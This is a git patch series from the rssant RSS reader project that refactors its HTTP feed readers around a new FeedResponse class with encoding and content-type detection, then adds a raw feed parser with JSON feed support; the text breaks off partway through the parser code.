From 23fbdabcf41cdf6b27946db81c15a2eda07b3616 Mon Sep 17 00:00:00 2001 From: guyskk Date: Tue, 7 Apr 2020 23:01:06 +0800 Subject: [PATCH 01/26] refactor feed reader, add FeedResponse --- rssant_common/helper.py | 42 ------- rssant_feedlib/async_reader.py | 153 ++++++++++++------------ rssant_feedlib/reader.py | 175 ++++++++++------------------ rssant_feedlib/response.py | 155 +++++++++++++++++++++++++ rssant_feedlib/response_builder.py | 180 +++++++++++++++++++++++++++++ tests/feedlib/test_async_reader.py | 14 +-- tests/feedlib/test_reader.py | 6 +- 7 files changed, 475 insertions(+), 250 deletions(-) create mode 100644 rssant_feedlib/response.py create mode 100644 rssant_feedlib/response_builder.py diff --git a/rssant_common/helper.py b/rssant_common/helper.py index bd860d6..6a99a1f 100644 --- a/rssant_common/helper.py +++ b/rssant_common/helper.py @@ -1,14 +1,12 @@ import os import json import time -import codecs import logging import socket import contextlib from urllib.parse import urlparse, urlunparse import aiohttp -import cchardet from terminaltables import AsciiTable from django.core.serializers.json import DjangoJSONEncoder @@ -49,46 +47,6 @@ def format_table(rows, *, header=None, border=True): return table.table -def _is_encoding_exists(response): - content_type = response.headers.get('content-type') - return content_type and 'charset' in content_type - - -def detect_response_encoding(content): - """ - >>> detect_response_encoding("你好".encode('utf-8')) - 'utf-8' - """ - # response.apparent_encoding使用chardet检测编码,有些情况会非常慢 - # 换成cchardet实现,性能可以提升100倍 - encoding = cchardet.detect(bytes(content[:4096]))['encoding'] - if encoding: - encoding = encoding.lower() - # 解决常见的乱码问题,chardet没检测出来基本就是windows-1254编码 - if encoding == 'windows-1254' or encoding == 'ascii': - encoding = 'utf-8' - else: - encoding = 'utf-8' - encoding = codecs.lookup(encoding).name - return encoding - - -def resolve_response_encoding(response): - if _is_encoding_exists(response) and response.encoding: - encoding = codecs.lookup(response.encoding).name - else: - encoding = detect_response_encoding(response.content) - response.encoding = encoding - - -async def resolve_aiohttp_response_encoding(response, content): - if _is_encoding_exists(response) and response.charset: - encoding = codecs.lookup(response.charset).name - else: - encoding = detect_response_encoding(content) - return encoding - - def coerce_url(url, default_schema='http'): """ >>> coerce_url('https://blog.guyskk.com/feed.xml') diff --git a/rssant_feedlib/async_reader.py b/rssant_feedlib/async_reader.py index 14313cc..ca76e6d 100644 --- a/rssant_feedlib/async_reader.py +++ b/rssant_feedlib/async_reader.py @@ -2,23 +2,17 @@ import socket import ssl import asyncio import logging -import typing import concurrent.futures import ipaddress +from http import HTTPStatus from urllib.parse import urlparse import aiodns import aiohttp -import yarl -from rssant_config import CONFIG -from rssant_common.helper import ( - resolve_aiohttp_response_encoding, - aiohttp_raise_for_status, - aiohttp_client_session, -) +from rssant_common.helper import aiohttp_client_session -from .reader import DEFAULT_USER_AGENT, FeedResponseStatus, is_webpage +from .reader import DEFAULT_USER_AGENT, is_webpage, is_ok_status from .reader import ( PrivateAddressError, ContentTooLargeError, @@ -26,6 +20,8 @@ from .reader import ( RSSProxyError, FeedReaderError, ) +from .response import FeedResponse, FeedResponseStatus +from .response_builder import FeedResponseBuilder LOG = logging.getLogger(__name__) @@ -87,7 +83,7 @@ class AsyncFeedReader: async def check_private_address(self, url): """Prevent request private address, which will attack local network""" - if CONFIG.allow_private_address: + if self.allow_private_address: return await self._async_init() hostname = urlparse(url).hostname @@ -99,36 +95,35 @@ class AsyncFeedReader: def check_content_type(self, response): if self.allow_non_webpage: return - if not (200 <= response.status <= 299): + if not is_ok_status(response.status): return content_type = response.headers.get('content-type') if not is_webpage(content_type): raise ContentTypeNotSupportError( - f'content-type {content_type} not support', response=response) + f'content-type {content_type} not support') - async def _read_content(self, response): + async def _read_content(self, response: aiohttp.ClientResponse): content_length = response.headers.get('Content-Length') if content_length: content_length = int(content_length) if content_length > self.max_content_length: - msg = 'Content length {} larger than limit {}'.format( + msg = 'content length {} larger than limit {}'.format( content_length, self.max_content_length) - raise ContentTooLargeError(msg, response=response) + raise ContentTooLargeError(msg) content_length = 0 - content = [] + content = bytearray() async for chunk in response.content.iter_chunked(8 * 1024): content_length += len(chunk) if content_length > self.max_content_length: - msg = 'Content length larger than limit {}'.format(self.max_content_length) - raise ContentTooLargeError(msg, response=response) - content.append(chunk) - content = b''.join(content) - response._body = content - encoding = await resolve_aiohttp_response_encoding(response, content) - text = content.decode(encoding) - response.rssant_encoding = encoding - response.rssant_content = content - response.rssant_text = text + msg = 'content length larger than limit {}'.format( + self.max_content_length) + raise ContentTooLargeError(msg) + content.extend(chunk) + return content + + async def _read_text(self, response: aiohttp.ClientResponse): + content = await self._read_content(response) + return content.decode('utf-8', errors='ignore') def _prepare_headers(self, etag=None, last_modified=None, referer=None, headers=None): if headers is None: @@ -142,9 +137,32 @@ class AsyncFeedReader: headers["Referer"] = referer return headers - async def _read_by_proxy( + async def _read( self, url, etag=None, last_modified=None, referer=None, - headers=None, ignore_content=False) -> aiohttp.ClientResponse: + headers=None, ignore_content=False + ) -> aiohttp.ClientResponse: + headers = self._prepare_headers( + etag=etag, + last_modified=last_modified, + referer=referer, + headers=headers, + ) + await self._async_init() + if not self.allow_private_address: + await self.check_private_address(url) + async with self.session.get(url, headers=headers) as response: + content = None + if not is_ok_status(response.status) or not ignore_content: + content = await self._read_content(response) + if not is_ok_status(response.status): + return response.headers, content, url, response.status + self.check_content_type(response) + return response.headers, content, str(response.url), response.status + + async def _read_by_proxy( + self, url, etag=None, last_modified=None, referer=None, + headers=None, ignore_content=False + ): if not self.has_rss_proxy: raise ValueError("rss_proxy_url not provided") headers = self._prepare_headers( @@ -161,52 +179,31 @@ class AsyncFeedReader: await self._async_init() async with self.session.post(self.rss_proxy_url, json=data) as response: response: aiohttp.ClientResponse - # TODO: avoid use private field response._url - url_obj = yarl.URL(url).with_fragment(None) - response._url = url_obj - response._cache['url'] = url_obj - if response.status != 200: - status = response.status - message = await response.text() - LOG.error("rss-proxy error status=%s message=%s", status, message) - raise RSSProxyError(status, message, response=response) + if not is_ok_status(response.status): + body = await self._read_text(response) + message = f'{response.status} body={body!r}' + raise RSSProxyError(message) proxy_status = response.headers.get('x-rss-proxy-status', None) - if proxy_status.upper() == 'ERROR': - message = await response.text() - raise RSSProxyError(proxy_status, message, response=response) - response.status = int(proxy_status) - aiohttp_raise_for_status(response) - self.check_content_type(response) - if not ignore_content: - await self._read_content(response) - return response - - async def _read( - self, url, etag=None, last_modified=None, referer=None, - headers=None, ignore_content=False) -> aiohttp.ClientResponse: - headers = self._prepare_headers( - etag=etag, - last_modified=last_modified, - referer=referer, - headers=headers, - ) - await self._async_init() - if not self.allow_private_address: - await self.check_private_address(url) - async with self.session.get(url, headers=headers) as response: - aiohttp_raise_for_status(response) + if proxy_status and proxy_status.upper() == 'ERROR': + body = await self._read_text(response) + message = f'{response.status} body={body!r}' + raise RSSProxyError(message) + proxy_status = int(proxy_status) if proxy_status else HTTPStatus.OK.value + content = None + if not is_ok_status(proxy_status) or not ignore_content: + content = await self._read_content(response) + if not is_ok_status(proxy_status): + return response.headers, content, url, proxy_status self.check_content_type(response) - if not ignore_content: - await self._read_content(response) - return response + return response.headers, content, url, proxy_status - async def read(self, *args, use_proxy=False, **kwargs) -> typing.Tuple[int, aiohttp.ClientResponse]: - response = None + async def read(self, url, *args, use_proxy=False, **kwargs) -> FeedResponse: + headers = content = None try: if use_proxy: - response = await self._read_by_proxy(*args, **kwargs) + headers, content, url, status = await self._read_by_proxy(url, *args, **kwargs) else: - response = await self._read(*args, **kwargs) + headers, content, url, status = await self._read(url, *args, **kwargs) except (socket.gaierror, aiodns.error.DNSError): status = FeedResponseStatus.DNS_ERROR.value except (socket.timeout, TimeoutError, aiohttp.ServerTimeoutError, @@ -235,23 +232,17 @@ class AsyncFeedReader: status = FeedResponseStatus.CONTENT_DECODING_ERROR.value except FeedReaderError as ex: status = ex.status - response = ex.response + LOG.warning(type(ex).__name__ + " url=%s %s", url, ex) except (aiohttp.ClientResponseError, aiohttp.ContentTypeError) as ex: status = ex.status - if ex.history: - response = ex.history[-1] except (aiohttp.ClientError, aiohttp.InvalidURL): status = FeedResponseStatus.UNKNOWN_ERROR.value - else: - status = response.status - if response: - if not hasattr(response, 'rssant_encoding'): - response.rssant_encoding = None - if not hasattr(response, 'rssant_content'): - response.rssant_content = b'' - if not hasattr(response, 'rssant_text'): - response.rssant_text = '' - return status, response + builder = FeedResponseBuilder() + builder.url(url) + builder.status(status) + builder.content(content) + builder.headers(headers) + return builder.build() async def __aenter__(self): return self diff --git a/rssant_feedlib/reader.py b/rssant_feedlib/reader.py index a8cb53d..d8ce100 100644 --- a/rssant_feedlib/reader.py +++ b/rssant_feedlib/reader.py @@ -1,17 +1,15 @@ import re -import enum import socket import ssl import ipaddress import logging -import typing from urllib.parse import urlparse from http import HTTPStatus import requests -from rssant_config import CONFIG -from rssant_common.helper import resolve_response_encoding +from .response import FeedResponse, FeedResponseStatus +from .response_builder import FeedResponseBuilder LOG = logging.getLogger(__name__) @@ -30,73 +28,10 @@ DEFAULT_USER_AGENT = ( ) -class FeedResponseStatus(enum.Enum): - # http://docs.python-requests.org/en/master/_modules/requests/exceptions/ - UNKNOWN_ERROR = -100 - CONNECTION_ERROR = -200 - PROXY_ERROR = -300 - RSS_PROXY_ERROR = -301 - RESPONSE_ERROR = -400 - DNS_ERROR = -201 - PRIVATE_ADDRESS_ERROR = -202 - CONNECTION_TIMEOUT = -203 - SSL_ERROR = -204 - READ_TIMEOUT = -205 - CONNECTION_RESET = -206 - TOO_MANY_REDIRECT_ERROR = -401 - CHUNKED_ENCODING_ERROR = -402 - CONTENT_DECODING_ERROR = -403 - CONTENT_TOO_LARGE_ERROR = -404 - REFERER_DENY = -405 # 严格防盗链,必须服务端才能绕过 - REFERER_NOT_ALLOWED = -406 # 普通防盗链,不带Referer头可绕过 - CONTENT_TYPE_NOT_SUPPORT_ERROR = -407 # 非文本/HTML响应 - - @classmethod - def name_of(cls, value): - """ - >>> FeedResponseStatus.name_of(200) - 'OK' - >>> FeedResponseStatus.name_of(-200) - 'RSSANT_CONNECTION_ERROR' - >>> FeedResponseStatus.name_of(-999) - 'RSSANT_E999' - """ - if value > 0: - try: - return HTTPStatus(value).name - except ValueError: - # eg: http://huanggua.sinaapp.com/ - # ValueError: 600 is not a valid HTTPStatus - return f'HTTP_{value}' - else: - try: - return 'RSSANT_' + FeedResponseStatus(value).name - except ValueError: - return f'RSSANT_E{abs(value)}' - - @classmethod - def is_need_proxy(cls, value): - return value in _NEED_PROXY_STATUS_SET - - -_NEED_PROXY_STATUS_SET = {x.value for x in [ - FeedResponseStatus.CONNECTION_ERROR, - FeedResponseStatus.DNS_ERROR, - FeedResponseStatus.CONNECTION_TIMEOUT, - FeedResponseStatus.READ_TIMEOUT, - FeedResponseStatus.CONNECTION_RESET, - FeedResponseStatus.PRIVATE_ADDRESS_ERROR, -]} - - class FeedReaderError(Exception): """FeedReaderError""" status = None - def __init__(self, *args, response=None, **kwargs): - self.response = response - super().__init__(*args, **kwargs) - class PrivateAddressError(FeedReaderError): """Private IP address""" @@ -140,6 +75,10 @@ def is_webpage(content_type): return bool(RE_WEBPAGE_CONTENT_TYPE.fullmatch(content_type)) +def is_ok_status(status): + return status and 200 <= status <= 299 + + class FeedReader: def __init__( self, @@ -182,7 +121,7 @@ class FeedReader: def check_private_address(self, url): """Prevent request private address, which will attack local network""" - if CONFIG.allow_private_address: + if self.allow_private_address: return hostname = urlparse(url).hostname for ip in self._resolve_hostname(hostname): @@ -193,30 +132,36 @@ class FeedReader: def check_content_type(self, response): if self.allow_non_webpage: return - if not (200 <= response.status_code <= 299): + if not is_ok_status(response.status_code): return content_type = response.headers.get('content-type') if not is_webpage(content_type): raise ContentTypeNotSupportError( - f'content-type {content_type} not support', response=response) + f'content-type {content_type!r} not support') def _read_content(self, response: requests.Response): content_length = response.headers.get('Content-Length') if content_length: content_length = int(content_length) if content_length > self.max_content_length: - msg = 'Content length {} larger than limit {}'.format( + msg = 'content length {} larger than limit {}'.format( content_length, self.max_content_length) - raise ContentTooLargeError(msg, response=response) + raise ContentTooLargeError(msg) content_length = 0 content = bytearray() for data in response.iter_content(chunk_size=64 * 1024): content_length += len(data) if content_length > self.max_content_length: - msg = 'Content length larger than limit {}'.format(self.max_content_length) - raise ContentTooLargeError(msg, response=response) + msg = 'content length larger than limit {}'.format( + self.max_content_length) + raise ContentTooLargeError(msg) content.extend(data) - response._content = bytes(content) + return content + + def _decode_content(self, content: bytes): + if not content: + return '' + return content.decode('utf-8', errors='ignore') def _prepare_headers(self, etag=None, last_modified=None): headers = {'User-Agent': self.user_agent} @@ -226,30 +171,33 @@ class FeedReader: headers["If-Modified-Since"] = last_modified return headers - def _send_request(self, request): + def _send_request(self, request, ignore_content): # http://docs.python-requests.org/en/master/user/advanced/#timeouts response = self.session.send(request, timeout=(6.5, self.request_timeout), stream=True) try: - response.raise_for_status() + if not is_ok_status(response.status_code): + content = self._read_content(response) + return response, content self.check_content_type(response) - self._read_content(response) - resolve_response_encoding(response) + content = None + if not ignore_content: + content = self._read_content(response) finally: # Fix: Requests memory leak # https://github.com/psf/requests/issues/4601 response.close() - return response + return response, content - def _read(self, url, etag=None, last_modified=None): + def _read(self, url, etag=None, last_modified=None, ignore_content=False): headers = self._prepare_headers(etag=etag, last_modified=last_modified) req = requests.Request('GET', url, headers=headers) prepared = self.session.prepare_request(req) if not self.allow_private_address: self.check_private_address(prepared.url) - response = self._send_request(prepared) - return response + response, content = self._send_request(prepared, ignore_content=ignore_content) + return response.headers, content, response.url, response.status_code - def _read_by_proxy(self, url, etag=None, last_modified=None): + def _read_by_proxy(self, url, etag=None, last_modified=None, ignore_content=False): if not self.has_rss_proxy: raise ValueError("rss_proxy_url not provided") headers = self._prepare_headers(etag=etag, last_modified=last_modified) @@ -260,30 +208,26 @@ class FeedReader: ) req = requests.Request('POST', self.rss_proxy_url, json=data) prepared = self.session.prepare_request(req) - try: - response = self._send_request(prepared) - except requests.HTTPError as ex: - response.url = url - status = ex.response.status_code - message = ex.response.text - LOG.error("rss-proxy error status=%s message=%s", status, message) - raise RSSProxyError(status, message, response=ex.response) from ex - response.url = url + response, content = self._send_request(prepared, ignore_content=ignore_content) + if not is_ok_status(response.status_code): + message = 'status={} body={!r}'.format( + response.status_code, self._decode_content(content)) + raise RSSProxyError(message) proxy_status = response.headers.get('x-rss-proxy-status', None) - if proxy_status.upper() == 'ERROR': - message = response.text - raise RSSProxyError(proxy_status, message, response=response) - response.status_code = int(proxy_status) - response.raise_for_status() - return response - - def read(self, *args, use_proxy=False, **kwargs) -> typing.Tuple[int, requests.Response]: - response = None + if proxy_status and proxy_status.upper() == 'ERROR': + message = 'status={} body={!r}'.format( + response.status_code, self._decode_content(content)) + raise RSSProxyError(message) + proxy_status = int(proxy_status) if proxy_status else HTTPStatus.OK.value + return response.headers, content, url, proxy_status + + def read(self, url, *args, use_proxy=False, **kwargs) -> FeedResponse: + headers = content = None try: if use_proxy: - response = self._read_by_proxy(*args, **kwargs) + headers, content, url, status = self._read_by_proxy(url, *args, **kwargs) else: - response = self._read(*args, **kwargs) + headers, content, url, status = self._read(url, *args, **kwargs) except socket.gaierror: status = FeedResponseStatus.DNS_ERROR.value except requests.exceptions.ReadTimeout: @@ -302,21 +246,22 @@ class FeedReader: status = FeedResponseStatus.CHUNKED_ENCODING_ERROR.value except requests.exceptions.ContentDecodingError: status = FeedResponseStatus.CONTENT_DECODING_ERROR.value + except UnicodeDecodeError: + status = FeedResponseStatus.CONTENT_DECODING_ERROR.value except FeedReaderError as ex: status = ex.status - response = ex.response - except requests.HTTPError as ex: - response = ex.response - status = response.status_code - except requests.RequestException as ex: - response = ex.response - if response is not None: - status = response.status_code + LOG.warning(type(ex).__name__ + " url=%s %s", url, ex) + except (requests.HTTPError, requests.RequestException) as ex: + if ex.response is not None: + status = ex.response.status_code else: status = FeedResponseStatus.UNKNOWN_ERROR.value - else: - status = response.status_code - return status, response + builder = FeedResponseBuilder() + builder.url(url) + builder.status(status) + builder.content(content) + builder.headers(headers) + return builder.build() def __enter__(self): return self diff --git a/rssant_feedlib/response.py b/rssant_feedlib/response.py new file mode 100644 index 0000000..047d625 --- /dev/null +++ b/rssant_feedlib/response.py @@ -0,0 +1,155 @@ +import enum +from http import HTTPStatus + + +class FeedResponseStatus(enum.IntEnum): + # http://docs.python-requests.org/en/master/_modules/requests/exceptions/ + UNKNOWN_ERROR = -100 + CONNECTION_ERROR = -200 + PROXY_ERROR = -300 + RSS_PROXY_ERROR = -301 + RESPONSE_ERROR = -400 + DNS_ERROR = -201 + PRIVATE_ADDRESS_ERROR = -202 + CONNECTION_TIMEOUT = -203 + SSL_ERROR = -204 + READ_TIMEOUT = -205 + CONNECTION_RESET = -206 + TOO_MANY_REDIRECT_ERROR = -401 + CHUNKED_ENCODING_ERROR = -402 + CONTENT_DECODING_ERROR = -403 + CONTENT_TOO_LARGE_ERROR = -404 + REFERER_DENY = -405 # 严格防盗链,必须服务端才能绕过 + REFERER_NOT_ALLOWED = -406 # 普通防盗链,不带Referer头可绕过 + CONTENT_TYPE_NOT_SUPPORT_ERROR = -407 # 非文本/HTML响应 + + @classmethod + def name_of(cls, value): + """ + >>> FeedResponseStatus.name_of(200) + 'OK' + >>> FeedResponseStatus.name_of(-200) + 'FEED_CONNECTION_ERROR' + >>> FeedResponseStatus.name_of(-999) + 'FEED_E999' + """ + if value > 0: + try: + return HTTPStatus(value).name + except ValueError: + # eg: http://huanggua.sinaapp.com/ + # ValueError: 600 is not a valid HTTPStatus + return f'HTTP_{value}' + else: + try: + return 'FEED_' + FeedResponseStatus(value).name + except ValueError: + return f'FEED_E{abs(value)}' + + @classmethod + def is_need_proxy(cls, value): + return value in _NEED_PROXY_STATUS_SET + + +_NEED_PROXY_STATUS_SET = {x.value for x in [ + FeedResponseStatus.CONNECTION_ERROR, + FeedResponseStatus.DNS_ERROR, + FeedResponseStatus.CONNECTION_TIMEOUT, + FeedResponseStatus.READ_TIMEOUT, + FeedResponseStatus.CONNECTION_RESET, + FeedResponseStatus.PRIVATE_ADDRESS_ERROR, +]} + + +class FeedContentType(enum.Enum): + + HTML = 'HTML' + JSON = 'JSON' + XML = 'XML' + + def __repr__(self): + return '<%s.%s>' % (self.__class__.__name__, self.name) + + +class FeedResponse: + + __slots__ = ( + '_content', + '_status', + '_url', + '_encoding', + '_etag', + '_last_modified', + '_content_type', + ) + + def __init__( + self, *, + content: bytes = None, + status: int = None, + url: str = None, + etag: str = None, + last_modified: str = None, + encoding: str = None, + content_type: FeedContentType = None, + ): + self._content = content + self._status = status if status is not None else HTTPStatus.OK.value + self._url = url + self._encoding = encoding + self._etag = etag + self._last_modified = last_modified + self._content_type = content_type + + def __repr__(self): + name = type(self).__name__ + length = len(self._content) if self._content else 0 + content_type = self._content_type.value if self._content_type else None + return ( + f'<{name} {self.status} url={self.url!r} length={length} ' + f'encoding={self.encoding!r} content_type={content_type!r}>' + ) + + @property + def content(self) -> bytes: + return self._content + + @property + def status(self) -> int: + return self._status + + @property + def ok(self) -> bool: + return self._status == HTTPStatus.OK.value + + @property + def is_need_proxy(self) -> bool: + return FeedResponseStatus.is_need_proxy(self._status) + + @property + def url(self) -> str: + return self._url + + @property + def etag(self) -> str: + return self._etag + + @property + def last_modified(self) -> str: + return self._last_modified + + @property + def encoding(self) -> str: + return self._encoding + + @property + def is_html(self) -> bool: + return self._content_type == FeedContentType.HTML + + @property + def is_xml(self) -> bool: + return self._content_type == FeedContentType.XML + + @property + def is_json(self) -> bool: + return self._content_type == FeedContentType.JSON diff --git a/rssant_feedlib/response_builder.py b/rssant_feedlib/response_builder.py new file mode 100644 index 0000000..dba8bdc --- /dev/null +++ b/rssant_feedlib/response_builder.py @@ -0,0 +1,180 @@ +import re +import cgi +import codecs +import typing +from http import HTTPStatus + +import cchardet + +from .response import FeedContentType, FeedResponse + + +RE_CONTENT_XML = re.compile(rb'(<\?xml|| FeedContentType: + """ + >>> detect_content_type(b'') + + >>> detect_content_type(b'{"hello": "world"}') + + >>> detect_content_type(b'') + + """ + head = bytes(content[:500]).strip().lower() + if head.startswith(b'{') or head.startswith(b'['): + return FeedContentType.JSON + if head.startswith(b''): + return FeedContentType.HTML + if head.startswith(b' +RE_XML_ENCODING = re.compile(rb'<\?.*encoding=[\'"](.*?)[\'"].*\?>') + + +def _detect_xml_encoding(content: bytes) -> str: + xml_encoding_match = RE_XML_ENCODING.search(content) + if xml_encoding_match: + encoding = xml_encoding_match.group(1).decode('utf-8') + return encoding + return None + + +def _detect_chardet_encoding(content: bytes) -> str: + # chardet检测编码有些情况会非常慢,换成cchardet实现,性能可以提升100倍 + r = cchardet.detect(content) + encoding = r['encoding'].lower() + if r['confidence'] < 0.5: + # 解决常见的乱码问题,chardet没检测出来基本就是iso8859-*和windows-125*编码 + if encoding.startswith('iso8859') or encoding.startswith('windows'): + encoding = 'utf-8' + elif encoding == 'ascii': + # ascii 是 utf-8 的子集,没必要用 ascii 编码 + encoding = 'utf-8' + return encoding + + +def _detect_http_encoding(content_type: str) -> str: + _, params = cgi.parse_header(content_type) + encoding = params.get('charset', '').replace("'", "") + return encoding + + +def _normalize_encoding(encoding: str) -> str: + return codecs.lookup(encoding).name + + +class EncodingChecker: + + __slots__ = ("_content", "_encodings") + + def __init__(self, content: bytes): + self._content = content + self._encodings: typing.Dict[str, bool] = {} + + def check(self, encoding: str) -> str: + if not encoding: + return None + try: + encoding = _normalize_encoding(encoding) + except LookupError: + return None + ok = self._encodings.get(encoding, None) + if ok is not None: + return encoding if ok else None + # https://stackoverflow.com/questions/40044517/python-decode-partial-utf-8-byte-array + dec = codecs.getincrementaldecoder(encoding)() + try: + dec.decode(self._content) + except UnicodeDecodeError: + self._encodings[encoding] = False + return None + self._encodings[encoding] = True + return encoding + + +def detect_content_encoding(content: bytes, content_type_header: str = None): + """ + >>> detect_content_encoding(b'hello', 'text/xml;charset=utf-8') + 'utf-8' + >>> detect_content_encoding(b'hello', 'text/xml;charset=unknown') + 'utf-8' + >>> content = ''.encode('utf-8') + >>> detect_content_encoding(content) + 'utf-8' + >>> detect_content_encoding("你好".encode('utf-8')) + 'utf-8' + """ + content = bytes(content[:2000]) # only need peek partial content + checker = EncodingChecker(content) + if content_type_header: + encoding = checker.check(_detect_http_encoding(content_type_header)) + if encoding is not None: + return encoding + encoding = checker.check(_detect_xml_encoding(content)) + if encoding is not None: + return encoding + encoding = checker.check(_detect_chardet_encoding(content)) + if encoding is not None: + return encoding + if checker.check('utf-8'): + return 'utf-8' + return None + + +class FeedResponseBuilder: + + __slots__ = ( + '_content', + '_status', + '_url', + '_headers', + ) + + def __init__(self): + self._content = None + self._status = None + self._url = None + self._headers = None + + def content(self, value: bytes): + self._content = value + + def status(self, value: str): + self._status = value + + def url(self, value: str): + self._url = value + + def headers(self, headers: dict): + self._headers = headers + + def build(self) -> FeedResponse: + content_type = encoding = None + if self._content and self._headers: + content_type_header = self._headers.get('content-type') + content_type = detect_content_type(self._content, content_type_header) + encoding = detect_content_encoding(self._content, content_type_header) + etag = last_modified = None + if self._headers: + etag = self._headers.get("etag") + last_modified = self._headers.get("last-modified") + status = self._status if self._status is not None else HTTPStatus.OK.value + return FeedResponse( + content=self._content, + status=status, + url=self._url, + etag=etag, + last_modified=last_modified, + encoding=encoding, + content_type=content_type + ) diff --git a/tests/feedlib/test_async_reader.py b/tests/feedlib/test_async_reader.py index ad40eaf..ace090a 100644 --- a/tests/feedlib/test_async_reader.py +++ b/tests/feedlib/test_async_reader.py @@ -14,10 +14,9 @@ async def test_async_read_by_proxy(url): rss_proxy_url=CONFIG.rss_proxy_url, rss_proxy_token=CONFIG.rss_proxy_token, ) as reader: - status, response = await reader.read(url, use_proxy=True) - assert status == 200 - assert response.status == 200 - assert str(response.url) == url + response = await reader.read(url, use_proxy=True) + assert response.ok + assert response.url == url @pytest.mark.parametrize('url', [ @@ -27,7 +26,6 @@ async def test_async_read_by_proxy(url): @pytest.mark.asyncio async def test_read(url): async with AsyncFeedReader() as reader: - status, response = await reader.read(url) - assert status == 200 - assert response.status == 200 - assert str(response.url) == url + response = await reader.read(url) + assert response.ok + assert response.url == url diff --git a/tests/feedlib/test_reader.py b/tests/feedlib/test_reader.py index dc4f132..1a666b9 100644 --- a/tests/feedlib/test_reader.py +++ b/tests/feedlib/test_reader.py @@ -13,8 +13,7 @@ def test_read_by_proxy(url): rss_proxy_url=CONFIG.rss_proxy_url, rss_proxy_token=CONFIG.rss_proxy_token, ) as reader: - status, response = reader.read(url, use_proxy=True) - assert status == 200 + response = reader.read(url, use_proxy=True) assert response.ok assert response.url == url @@ -25,7 +24,6 @@ def test_read_by_proxy(url): ]) def test_read(url): with FeedReader() as reader: - status, response = reader.read(url) - assert status == 200 + response = reader.read(url) assert response.ok assert response.url == url -- Gitee From c76b61ddfb9d40d6b9e418e31f8bf2fda852a6c1 Mon Sep 17 00:00:00 2001 From: guyskk Date: Thu, 9 Apr 2020 23:30:13 +0800 Subject: [PATCH 02/26] add RawFeedParser, support json feed --- requirements.in | 2 + rssant_feedlib/parser.py | 115 --------------- rssant_feedlib/raw_parser.py | 263 +++++++++++++++++++++++++++++++++++ 3 files changed, 265 insertions(+), 115 deletions(-) delete mode 100644 rssant_feedlib/parser.py create mode 100644 rssant_feedlib/raw_parser.py diff --git a/requirements.in b/requirements.in index 45b07ac..9bc021e 100644 --- a/requirements.in +++ b/requirements.in @@ -31,6 +31,8 @@ certifi==2019.11.28 chardet==3.0.4 cchardet==2.1.6 feedparser==6.0.0b3 # TODO: https://github.com/kurtmckee/feedparser/issues/198 +atoma==0.0.17 +python-dateutil==2.8.1 lxml==4.3.3 bs4==0.0.1 beautifulsoup4==4.8.2 diff --git a/rssant_feedlib/parser.py b/rssant_feedlib/parser.py deleted file mode 100644 index e5abc30..0000000 --- a/rssant_feedlib/parser.py +++ /dev/null @@ -1,115 +0,0 @@ -import cgi -from io import BytesIO - -import feedparser -from validr import mark_index - -from .schema import validate_feed, validate_story - - -feedparser.RESOLVE_RELATIVE_URIS = False -feedparser.SANITIZE_HTML = False - - -class FeedParserResult: - def __init__(self, feed, entries, version, bozo, bozo_exception): - self.feed = feed - self.entries = entries - self.version = version - self.bozo = bozo - self.bozo_exception = bozo_exception - self.response = None - self.use_proxy = False - - -def _process_response(response): - if response.encoding == 'utf-8': - content = response.content - else: - content = response.text.encode('utf-8') - headers = _process_headers(response.headers, url=response.url) - return content, headers - - -def _process_headers(self, headers=None, url=None): - if headers is None: - headers = {} - headers = {k.lower(): v for k, v in headers.items()} - content_type = headers.get('content-type', '') - if content_type: - mime_type, __ = cgi.parse_header(content_type) - else: - mime_type = 'application/xml' - headers['content-type'] = f'{mime_type};charset=utf-8' - headers.pop('content-encoding', None) - headers.pop('transfer-encoding', None) - if url: - headers['content-location'] = url - return headers - - -def _parse(content, headers, validate=True): - """解析Feed,返回结果可以pickle序列化,便于多进程中使用""" - stream = BytesIO(content) - feed = feedparser.parse( - stream, response_headers=headers, - ) - bozo = feed.bozo - if not feed.bozo: - # 没有title的feed视为错误 - title = feed.feed.get("title") - if not title: - bozo = 1 - bozo_exception = "the feed no title, considered not a feed." - else: - bozo = 0 - bozo_exception = "" - else: - bozo = feed.bozo - ex = feed.get("bozo_exception") - if not ex: - bozo_exception = "" - else: - name = type(ex).__module__ + "." + type(ex).__name__ - bozo_exception = f"{name}: {ex}" - if validate: - feed_info = validate_feed(feed.feed) - entries = [] - for i, x in enumerate(feed.entries): - with mark_index(i): - entries.append(validate_story(x)) - else: - feed_info = feed.feed - entries = feed.entries - version = feed.get("version") or "" - result = FeedParserResult( - feed=feed_info, - entries=entries, - version=version, - bozo=bozo, - bozo_exception=bozo_exception, - ) - return result - - -class FeedParser: - - @staticmethod - def parse(content, headers=None, url=None, validate=True): - """解析Feed - - Args: - content (bytes): UTF-8编码的内容 - headers (dict): HTTP响应头 - url (str): 来源URL - """ - headers = _process_headers(headers, url=url) - return _parse(content, headers, validate=validate) - - @staticmethod - def parse_response(response, validate=True): - """从requests.Response解析Feed""" - content, headers = _process_response(response) - result = _parse(content, headers, validate=validate) - result.response = response - return result diff --git a/rssant_feedlib/raw_parser.py b/rssant_feedlib/raw_parser.py new file mode 100644 index 0000000..7681ac1 --- /dev/null +++ b/rssant_feedlib/raw_parser.py @@ -0,0 +1,263 @@ +import typing +import json +from io import BytesIO + +import atoma +import feedparser +from validr import mark_index, T + +from rssant_common.validator import compiler +from .response import FeedResponse + + +feedparser.RESOLVE_RELATIVE_URIS = False +feedparser.SANITIZE_HTML = False + + +RawFeedSchema = T.dict( + version=T.str, + title=T.str, + url=T.str, + home_url=T.str.optional, + icon_url=T.str.optional, + description=T.str.optional, + author_name=T.str.optional, + author_url=T.str.optional, + author_avatar_url=T.str.optional, +) + + +RawStorySchema = T.dict( + ident=T.str, + title=T.str, + url=T.str.optional, + content=T.str.optional, + summary=T.str.optional, + image_url=T.str.optional, + dt_published=T.datetime.optional, + dt_updated=T.datetime.optional, + author_name=T.str.optional, + author_url=T.str.optional, + author_avatar_url=T.str.optional, +) + + +validate_raw_feed = compiler.compile(RawFeedSchema) +validate_raw_story = compiler.compile(RawStorySchema) + + +class RawFeedResult: + + __slots__ = ('_feed', '_storys', '_warning') + + def __init__(self, feed, storys, warning=None): + self._feed = feed + self._storys = storys + self._warning = warning + + @property + def feed(self) -> RawFeedSchema: + return self._feed + + @property + def storys(self) -> typing.List[RawStorySchema]: + return self._storys + + @property + def warning(self) -> str: + return self._warning + + +class FeedParserError(Exception): + """FeedParserError""" + + +class RawFeedParser: + + def __init__(self, validate=False): + self._validate = validate + + def _get_feed_home_url(self, feed: feedparser.FeedParserDict) -> str: + link = feed.feed["link"] + if not 